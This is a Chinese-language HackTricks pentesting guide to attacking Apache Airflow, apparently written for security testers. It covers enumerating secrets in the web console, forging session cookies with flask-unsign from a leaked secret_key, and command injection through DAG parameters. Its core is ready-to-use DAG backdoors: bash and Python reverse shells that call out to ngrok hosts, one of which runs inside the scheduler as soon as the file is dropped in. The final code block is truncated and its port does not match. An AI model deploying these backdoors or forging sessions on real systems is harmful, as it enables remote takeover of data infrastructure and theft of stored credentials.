Apache Airflow Security

支持 HackTricks

基本信息

Apache Airflow 作为一个 编排和调度数据管道或工作流 的平台。在数据管道的上下文中,“编排”一词表示安排、协调和管理来自各种来源的复杂数据工作流的过程。这些编排的数据管道的主要目的是提供经过处理和可消费的数据集。这些数据集被广泛应用于众多应用程序,包括但不限于商业智能工具、数据科学和机器学习模型,所有这些都是大数据应用程序正常运行的基础。

基本上,Apache Airflow 将允许您 在某些事情发生时调度代码的执行(事件,cron)。

本地实验室

Docker-Compose

您可以使用来自 https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yamldocker-compose 配置文件 启动一个完整的 Apache Airflow Docker 环境。(如果您在 MacOS 上,请确保为 Docker 虚拟机分配至少 6GB 的内存)。

Minikube

运行 Apache Airflow 的一种简单方法是 使用 Minikube 运行它

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Airflow 配置

Airflow 可能在其配置中存储 敏感信息,或者您可能会发现存在弱配置:

Airflow RBAC

在开始攻击 Airflow 之前,您应该了解 权限是如何工作的

攻击

Web 控制台枚举

如果您有 访问 web 控制台 的权限,您可能能够访问以下一些或全部信息:

  • 变量(自定义敏感信息可能存储在这里)

  • 连接(自定义敏感信息可能存储在这里)

  • http://<airflow>/connection/list/ 中访问它们

  • 配置(敏感信息如 secret_key 和密码可能存储在这里)

  • 列出 用户和角色

  • 每个 DAG 的代码(可能包含有趣的信息)

检索变量值

变量可以存储在 Airflow 中,以便 DAG 可以 访问 其值。这类似于其他平台的秘密。如果您有 足够的权限,可以在 GUI 中访问它们,地址为 http://<airflow>/variable/list/。 Airflow 默认会在 GUI 中显示变量的值,但根据 这个 的说法,可以设置一个 变量列表,其 将在 GUI 中显示为 星号

然而,这些 仍然可以通过 CLI(您需要有数据库访问权限)、任意 DAG 执行、API 访问变量端点(需要激活 API),甚至 GUI 本身检索! 要从 GUI 访问这些值,只需 选择您想访问的变量,然后 点击操作 -> 导出。 另一种方法是对 隐藏值 进行 暴力破解,使用 搜索过滤 直到您获得它:

权限提升

如果 expose_config 配置设置为 True,则从 用户角色以上 可以 读取 web 中的配置。在此配置中,secret_key 出现,这意味着任何拥有此有效密钥的用户都可以 创建自己的签名 cookie 来冒充任何其他用户账户

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG 后门 (Airflow worker 中的 RCE)

如果您对 DAG 保存的位置写入权限,您可以 创建一个 发送 反向 shellDAG。 请注意,这个反向 shell 将在 airflow worker 容器 内执行:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG 后门 (Airflow 调度器中的 RCE)

如果您将某些内容设置为在代码的根目录中执行,在撰写本文时,它将在将其放入 DAG 文件夹后几秒钟内由调度器执行

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

DAG 创建

如果你成功地攻陷了 DAG 集群中的一台机器,你可以在 dags/ 文件夹中创建新的 DAG 脚本,它们将会在 DAG 集群中的其余机器上复制

DAG 代码注入

当你从 GUI 执行一个 DAG 时,你可以传递参数给它。 因此,如果 DAG 编写不当,它可能会容易受到命令注入的攻击。 这就是在这个 CVE 中发生的情况: https://www.exploit-db.com/exploits/49927

你需要知道的开始寻找 DAG 中命令注入的方法参数通过代码**dag_run.conf.get("param_name")访问**。

此外,变量也可能出现相同的漏洞(请注意,拥有足够权限的情况下,你可以控制 GUI 中变量的值)。变量通过以下方式访问:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

如果它们被用在例如 bash 命令中,你可能会执行命令注入。

支持 HackTricks

Last updated